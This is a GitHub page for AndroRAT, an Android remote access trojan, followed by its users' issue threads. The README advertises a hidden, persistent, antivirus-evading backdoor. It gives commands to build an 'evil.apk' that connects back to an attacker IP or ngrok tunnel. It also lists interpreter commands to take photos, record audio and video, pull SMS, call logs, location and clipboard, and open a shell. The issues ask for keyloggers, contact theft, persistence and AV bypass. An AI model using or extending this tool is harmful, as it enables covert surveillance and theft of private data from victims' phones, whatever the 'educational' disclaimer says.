karma9874 / androrat

A Simple android remote administration tool using sockets. It uses java on the client side and python on the server side

Disclaimer : This software is meant for educational purposes only. I'm not responsible for any malicious use of the app.

AndroRAT

AndroRAT is a tool designed to give the control of the android system remotely and retrieve informations from it. Androrat is a client/server application developed in Java Android for the client side and the Server is in Python.

AndroRAT will work on device from Android 4.1 (Jelly Bean) to Android 9.0 (Oreo) (API 16 to API 28)

AndroRAT also works on Android 10 (Q) but some of the interpreter command will be unstable.

Screenshots

Features of AndroRAT

• Full persistent backdoor
• Fully undetectable by any antivirus scanner VirusTotal
• Invisible icon on install
• Light weight apk which runs 24*7 in background
• App starts automatically on boot up
• Can record audio, video, take picture from both camera
• Browse call logs and SMS logs
• Get current location, sim card details ,ip, mac address of the device

Prerequisites

AndroRAT requires Python3 and JAVA (or Android Studio)

Installation

git clone https://github.com/karma9874/AndroRAT.git
cd AndroRAT
pip install -r requirements.txt

Note:

While cloning the repository using Git bash on Windows, you may get the following error:

error: unable to create file <filename>: Filename too long

This is because the Git has a limit of 4096 characters for a filename, except on Windows when Git is compiled with msys. It uses an older version of the Windows API and there's a limit of 260 characters for a filename.

You can circumvent this by setting core.longpaths to true.

git config --system core.longpaths true

You must run Git bash with administrator privileges.

Usage (Windows and Linux)

• To get the control panel of the app dial *#*#1337#*#* (For now it has only two options Restart Activity and Uninstall)

Note: In order to use this feature in some devices you need to enable the option display pop-up windows running in background from the settings.

Available Modes

• --build - for building the android apk
• --ngrok - for using ngrok tunnel (over the internet)
• --shell - getting an interactive shell of the device

build mode

Usage:
  python3 androRAT.py --build --ngrok [flags]
  Flags:
    -p, --port              Attacker port number (optional by default its set to 8000)
    -o, --output            Name for the apk file (optional by default its set to "karma.apk")
    -icon, --icon           Visible icon after installing apk (by default set to hidden)

Usage:
  python3 androRAT.py --build [flags]
  Flags:
    -i, --ip                Attacker IP address (required)
    -p, --port              Attacker port number (required)
    -o, --output            Name for the apk file (optional)
    -icon, --icon           Visible icon after installing apk (by default set to hidden)

Or you can manually build the apk by importing Android Code folder to Android Studio and changing the IP address and port number in config.java file and then you can generate the signed apk from Android Studio -> Build -> Generate Signed APK(s)

shell mode

Usage:
  python3 androRAT.py --shell [flags]
  Flags:
    -i, --ip                Listner IP address
    -p, --port              Listner port number

After running the shell mode you will get an interpreter of the device

Commands which can run on the interpreter

    deviceInfo                 --> returns basic info of the device
    camList                    --> returns cameraID  
    takepic [cameraID]         --> Takes picture from camera
    startVideo [cameraID]      --> starts recording the video
    stopVideo                  --> stop recording the video and return the video file
    startAudio                 --> starts recording the audio
    stopAudio                  --> stop recording the audio
    getSMS [inbox|sent]        --> returns inbox sms or sent sms in a file 
    getCallLogs                --> returns call logs in a file
    shell                      --> starts a sh shell of the device
    vibrate [number_of_times]  --> vibrate the device number of time
    getLocation                --> return the current location of the device
    getIP                      --> returns the ip of the device
    getSimDetails              --> returns the details of all sim of the device
    clear                      --> clears the screen
    getClipData                --> return the current saved text from the clipboard
    getMACAddress              --> returns the mac address of the device
    exit                       --> exit the interpreter

In the sh shell there are some sub commands

    get [full_file_path]        --> donwloads the file to the local machine (file size upto 15mb)
    put [filename]              --> uploads the file to the android device

Examples

• To build the apk using ngrok which will also set the listner: python3 androRAT.py --build --ngrok -o evil.apk

• To build the apk using desired ip and port: python3 androRAT.py --build -i 192.169.x.x -p 8000 -o evil.apk

• To get the interpreter: python3 androRAT.py --shell -i 0.0.0.0 -p 8000

Interpreter Examples

• Generating APK

------------------------------------------------------------------------------------------------------------------------------

• Some interpreter Commands

------------------------------------------------------------------------------------------------------------------------------

Supporters:

TODO

• Ngrok support
• Set up multi client
• Add screenshot command

License

AndroRAT is licensed under MIT license take a look at the LICENSE for more information.

androrat's Issues

Signing Failed

The command I used is sudo python3 androRAT.py --build -i 192.169.x.x -p 8080 -o evil.apk
The app works fine after I commented the signing code in androRAT.py and signed it manually on my own.
Every interpreter command works except takepic, even tho startVideo works perfectly on my Samsung A10 Android 9.

• Enable to connect to Camera 1.
• Crashes on Camera 0.

why it is hanged on waiting for connection

i have build apk in build mode installed that app in my android device now i m in shell mode but it is not getting connection from that android device.

I cannot open the shell

It shows the following error when i try to open the shell

Traceback (most recent call last):

File "androRAT.py", line 53, in

soc.bind((ip, port))

OSError: [Errno 99] Cannot assign requested address

I am using java 8

Cannot generate apk.

Upon building the APK file the following error occurs:
No resource found that matches the given name: attr 'android:keyboardNavigationCluster'

This is most likely related to the dependencies not being configured correctly in the gradle files.
Please look into this, I was unable to fix this problem myself even after updating all dependencies above 26.0.0, I hope someone else is able to find the cause for this issue.

Thank you very much.

Notifications list and keylogger request

Hi,
is there a way to have the list of last X received notifications?
Is it possible to have a keylogger that temporarily saves and sends last X typed characters with any mobile keyboard?
Thanks

Request Feature : PortForwarding

hello !

Can you please add a feature portforwarding between server and client ?? please let me know if you wish.

awsome project btw <3

secnhack

hey there, as you know that most of the traffic has comes with our following article so can you add this aticle as references on your tool. https://secnhack.in/full-undetectable-android-payload-rat-tool/

RAT is running but doesn't give any interpreter mode

hi, i face a problem where the rat is running but it doesn't give me any interpreter mode. i have give access to ignore battery optimization and the icon, first time i install the rat the icon is dissapear but after a few hours the icon is appear.
i have check my ip and port inside the rat, everything is right.
is it bug or something ??

device : redmi 5 plus
android : 8.1

i tried to another phone which has android 5 and i got the same problem too

need video tutorial

can i find this rat video tutorial in youtube?

Building Failed

quick fix

Hey. Is there a possibility to make androRAT work when the pc and mobile are not connected in the same network.

I want to secure my device and your androRAT works great but only when the mobile is in the same network as the pc. Is there any solution which could make it work? I read somewhere that if you want to have connection remotely you should use your public ip but this method doesn't work for me. Any help?

Disconnecting

Android 9
Unfortunately, the devices keep getting disconnected. Maybe that's a security feature from Android. How do you bypass it?
Maybe you can set the rat to execute itself after X seconds again? Or force the OS to keep the app open?

Build error

brut.androlib.AndrolibException: brut.common.BrutException: could not exec (exit code = 132): [/tmp/brut_util_Jar_4645150296992886629.tmp, p, --forced-package-id, 127, --min-sdk-version, 16, --target-sdk-version, 22, --version-code, 1, --version-name, 1.0, --no-version-vectors, -F, /tmp/APKTOOL1621721283628454375.tmp, -e, /tmp/APKTOOL7768992762503297111.tmp, -0, arsc, -I, /home/kali/.local/share/apktool/framework/1.apk, -S, /home/kali/AndroRAT/Compiled_apk_files/res, -M, /home/kali/AndroRAT/Compiled_apk_files/AndroidManifest.xml]

syntax error

any body help me about this error

signing failed

Signing the apk
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
Exception in thread "main" java.lang.NoClassDefFoundError: sun/misc/BASE64Encoder
at s.Sign.addDigestsToManifest(Sign.java:108)
at s.Sign.sign(Sign.java:454)
at s.Sign.main(Sign.java:532)
Caused by: java.lang.ClassNotFoundException: sun.misc.BASE64Encoder
at java.base/jdk.internal.loader.BuiltinClassLoader.loadClass(BuiltinClassLoader.java:581)
at java.base/jdk.internal.loader.ClassLoaders$AppClassLoader.loadClass(ClassLoaders.java:178)
at java.base/java.lang.ClassLoader.loadClass(ClassLoader.java:522)
... 3 more

Signing Failed

need video

can i find this rat video tutorial in youtube?

[ARCHITECTURE] [FEATURE] SOCKETS are hard to configure alternate to use firebase.

as we know that its a problem to generate the sockets connection as you need to rebuild your app using ip and port
so what if we use firebase it can process multiple devices and we don't need to rebuild app again and again
also it can store the information without a local machine ie it can exploit info even if you don't use your local machine
like we can send req and get result even on phone device easily

structure<<<<<<
first of all we dont need to rewrite whole code ,we just need to rebase with the tcp connection class
so we will add firebase database to store info and firebase storage to store photos and videos online

we also need a way to send request
so we can do it in two ways
first one is a bit simple so we will implement that for now
we can loop to fetch for a specific keyword in database
if it finds that it will do that task and wait for next one and so on

we also need a admin app to send request to database and retrieve the photos and videos on device

later we can make website and a REST api to do the same thing

Getting a error "Signing failed" while signing the apk can you please help me out.!!??

While signing apk it is showing signing failed

App not found

When I run apk on my android device, it says app not found and no connections are registered on terminal/cmd

App not installed.

When i try to install the apk to my phone to test it it say App not installed. I am sure it is not because i do not have any memory left on storage.I have android 10.

Java not installed problem

Pls 🙏 solve this

Unable to record audio

I tried all commands, all of them is working fine except the startAudio command. I got this error:

Connection reset by peer

Hi, I use your program and I have an issue. I build an apk and my apk file name is system.apk. I installed this apk a Samsung device and it works only 2-3 minutes. When 2-3 minutes later I see this error and my connection is lost.

android@shell:~$ cd ..
Traceback (most recent call last):
File "androRAT.py", line 75, in
shell(conn)
File "/root/RAT/utils.py", line 129, in shell
msg = recvallShell(client)
File "/root/RAT/utils.py", line 192, in recvallShell
data = sock.recv(4096).decode("UTF-8","ignore")
ConnectionResetError: [Errno 104] Connection reset by peer

How can I figure this?

Note: The device running and device have an internet connection.

huawei detects and removes app.

Huawei phones can detect the app as a virus and remove it (i tested), i got it working on Huawei y6 2016 but the phone is constantly having an pop-up saying that the app is a virus and asking you to click the button to uninstall, however even if you don't uninstall the app, lot's of functions doesn't work.

This rat not working in window RDP aws

When I try toh shell. 53 line error
Aslo tried local IP like a 0.0.0.0 or 127.0.0.0.1 that waiting for connection. But RDP use public IP to port forwarding and not working when try to lessen on public IP error 53 line

Is it possible to make it fully compatible with android 10?

Hello,

Is it possible to make this project fully compatible with the latest Android 10 releases? That would help a lot. Please let me know if this project can be build for android 10 and can work inside android 10 without any problem. Thank You.

AWESOME TOOL! Needs to load upon reboot function

I just began testing this and works very well. I was hoping you might be able to introduce a feature where it will load upon restart and possibly a way to sign .apk whereas to avoid AV detection

Not fully persistent

I have tested this tool in my honor 8x mobile whose android version is 9.0 i have installed the apk in my mobile i got the session but when i lock the screen my session was aborted when i try to reconnect i could not get back the session. I have also tested this in my samsung galaxy j2 pro mobile whose android version is 6.0 it working fine even after reboot .Can you give a solution for this

#SHELL LISTENING ERROR

Interpreter and Connections

Whenever i manage to get a connection my interpreter always show up like this "[1m [36mInterpreter:/> [39m"
And also after managing to enter one command which will not respond, the connection closes and gives me this
"[1m [36mInterpreter:/> [39mgetSMS inbox
Traceback (most recent call last):
File "androRAT.py", line 67, in
msg = conn.recv(4024).decode("UTF-8")
TimeoutError: [WinError 10060] A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond"
I really need someone to help out with this. Please anybody

Contacts list request

Is there a way to get contacts list?
I mean: a complete/partial list of contacts: first names, second names, phone numbers, user groups, e-mail addresses, and so on.
Are you planning to add this feature?
It would be very useful to have it.
Thanks in advance

IP address

Hey, I just wanted to test it out. When I try to run the shell mode it just shows me "Waiting for Connections" and nothing happens.
I installed the created apk in my phone. Could you pls tell me what IP addresses I should put To build the apk and To get the interpreter? Many Thanks.

Building Failed

sudo python3 androRAT.py --build -i 192.169.x.x -p 8080 -o evil.apk

Not a valid IP

Anyway to use it with a dynamic host? It's giving me an error "Not a valid IP" at build

build shell invalid syntax

#python androRAT.py --shell -i xxx.xxx.x.x -p xxxx
File "androRAT.py", line 16
print("\r"+Style.BRIGHT+Fore.GREEN+message+c+Fore.RESET, end="")
^
SyntaxError: invalid syntax

i never had to change anything before, and when i try to fix it another error from another line comes up, and repeat.. is this me or the script..
thank you.

Error with APK Build files?

Unsure how active you're all currently! Here is an error I run into whenever building a client, any clues?

D:\fauly\dev\opsec\AndroRAT>python androRAT.py --build -i 192.168.1.236 -p 8000 -o evil.apk Generating apk file W: fakeLogOpen(/dev/log_stats) failed W: D:\fauly\dev\opsec\AndroRAT\Compiled_apk_files\res\values-v26\styles.xml:14: error: Error: No resource found that matches the given name: attr 'android:keyboardNavigationCluster'. W: brut.androlib.AndrolibException: brut.common.BrutException: could not exec (exit code = 1): [C:\Users\fauly\AppData\Local\Temp\brut_util_Jar_4991560649033101140.tmp, p, --forced-package-id, 127, --min-sdk-version, 16, --target-sdk-version, 22, --version-code, 1, --version-name, 1.0, --no-version-vectors, -F, C:\Users\fauly\AppData\Local\Temp\APKTOOL3942104992599574233.tmp, -e, C:\Users\fauly\AppData\Local\Temp\APKTOOL7164257222819156857.tmp, -0, arsc, -I, C:\Users\fauly\AppData\Local\apktool\framework\1.apk, -S, D:\fauly\dev\opsec\AndroRAT\Compiled_apk_files\res, -M, D:\fauly\dev\opsec\AndroRAT\Compiled_apk_files\AndroidManifest.xml] Building Failed

not able to use portmap io

how to config ports?
eg:python androRAT.py --build -i 192.169.x.x -p 8000 -o evil.apk

my portmap.io is:
tcp://DarkNotch-49754.portmap.host:49754 => 8989

how should i config the ports
is it

python androRAT.py --build -i 193.161.193.99 -p 49754 -o evil.apk

or
python androRAT.py --build -i 193.161.193.99 -p 8989 -o evil.apk

and how should i listen to the connection?
python androRAT.py --shell -i 193.161.193.99 -p 49754
or
python androRAT.py --shell -i 193.161.193.99 -p 8989

java.io.IOException: No such file or directory

Problems on Miui 12

Hi I try the RAT with Xiaomi mi 9t pro and Miui 12.0.1 global. The rat start without problems and interpeter is able to connect.
I setup no battery limitation and auto restart on App Info for the app. But if i reboot the device the app is not restart and there isn't way to restart becouse icon is hidden.

Any solution ?

[ERROR] error in initializing shell

Traceback (most recent call last):
File "androRAT.py", line 53, in
soc.bind((ip, port))
OSError: [WinError 10049] The requested address is not valid in its context

////////////////////////////////////////////////////////////////////////////////////////

how to replicate this error

1. go to noip get a static ip from thier
2. put this ip to genrate apk using cmd
3. then do this python androRAT.py --shell -i 47.247.176.204 -p 80
   then you get this error

AV Detected

I have uploaded this amazing tool on numerous different Android's and unfortunately the utility is detectable by all kinds of AV's. It was inevitable, however there must be a way to create new signatures to bypass AV's that can be regularly updated. Perhaps a binder that can be updated with new signatures to prevent the detection of the infected APK possibly? I am looking more and more into Metaploit's meterpreter's ways and TheFatRat, but as most things are nowadays too good to be true. TheFatRat has methods that are old and outdated. Metasploit still uses msfvenom which I am not certain is still updated with new AV bypasses ( last I checked msfvenom still was detectable ). If anyone knows a way to create a binder and a way to update undetectable signatures to each infected APK, let me know as that seems like the most promising concept I can think of.

getMACAddress and camList

getMACAddress command returns nothing and app crashes on camList command

Please add key logger also

so that we can see which screen/app they are in and shat they are typing...

thanks in advance.

Shell BrokenPipeError

Hi, I'm running AndroRAT on a Raspberry Pi 3B+. I built the APK using the Raspberry Pi's local IP and installed it on a Samsung Galaxy J3.
When I start the shell, it says "Waiting for connections" for several minutes until it finds the phone and the interpreter is started.
When I type in a command like deviceInfo (but any command really), it doesn't return anything. Then I type in a command for a second time and I get the following error:
Traceback (most recent call last):
File "androRAT.py", line 90, in
conn.send(message_to_send.encode("UTF-8"))
BrokenPipeError: [Errno 32] Broken pipe

Not sure how to fix it, can you help?

Cheers

Commands not Working, the app is installed but doesn't stay running and listener commands don't work

i successfully built an apk with port forwarding using NGROK , but the app seems to return nothing, upon installing the apk the connection is detected in the listener, and interpreter opens, however no command is working, for example i used "deviceInfo" but it just stays there and returns nothing, i'm also blocked from writing other commands. the app is tested on android 5 and i have java 8 and python 3 ( everything seems to work except that it doesn't really work since none of the commands gives any results )

Kaspersky Detects Trojans

Building Failed

Bonjour,
J'utilise Nethunter on Termux , j'ai un problème pendant la génération du Apk. Java 8 est installé.
brut.androlib.AndrolibException: brut.common.BrutException: could not exec (exit code = 132): [/tmp/brut_util_Jar_10460194248698115624.tmp, p, --forced-package-id, 127, --min-sdk-version, 16, --target-sdk-version, 22, --version-code, 1, --version-name, 1.0, --no-version-vectors, -F, /tmp/APKTOOL3232415382178560490.tmp, -e, /tmp/APKTOOL243148447067492218.tmp, -0, arsc, -I, /root/.local/share/apktool/framework/1.apk, -S, /root/AndroRAT/Compiled_apk_files/res, -M, /root/AndroRAT/Compiled_apk_files/AndroidManifest.xml]

Port forwarding

Is it possible to make a connection between router and mobile phone internet? I created port in my pc and interpreter works only when mobile phone connected to this wi-fi, where this port was created. When mob phone uses mobile internet, the interpreter isn’t working. Nice work but it needs to be improved😊

WindowsApps Permission Denied, can't build

I installed python from Microsoft App Store.
I'm getting this error below when I execute it !
FYI, I ran Git BASH as Administrator but still same error occured. How to fix? Please help

python androRAT.py --build --ngrok -o evil.apk
bash: /c/Users/Kas/AppData/Local/Microsoft/WindowsApps/python: Permission denied

FileNotFoundError: [WinError 2]

c:\Users\xiaaru\AndroRAT>python androRAT.py --build -i 192.168.0.1 -p 8000 -o evil.apk Traceback (most recent call last): File "androRAT.py", line 110, in <module> java_version = executeCMD("java -version") File "c:\Users\xiaaru\AndroRAT\utils.py", line 36, in executeCMD result = run(command, stdout=PIPE, stderr=PIPE, universal_newlines=True, shell=True) File "C:\Users\xiaaru\AppData\Local\Programs\Python\Python38\lib\subprocess.py", line 489, in run with Popen(*popenargs, **kwargs) as process: File "C:\Users\xiaaru\AppData\Local\Programs\Python\Python38\lib\subprocess.py", line 854, in __init__ self._execute_child(args, executable, preexec_fn, close_fds, File "C:\Users\xiaaru\AppData\Local\Programs\Python\Python38\lib\subprocess.py", line 1307, in _execute_child hp, ht, pid, tid = _winapi.CreateProcess(executable, args, FileNotFoundError: [WinError 2] The system cannot find the file specified

cannot go beyond this
:/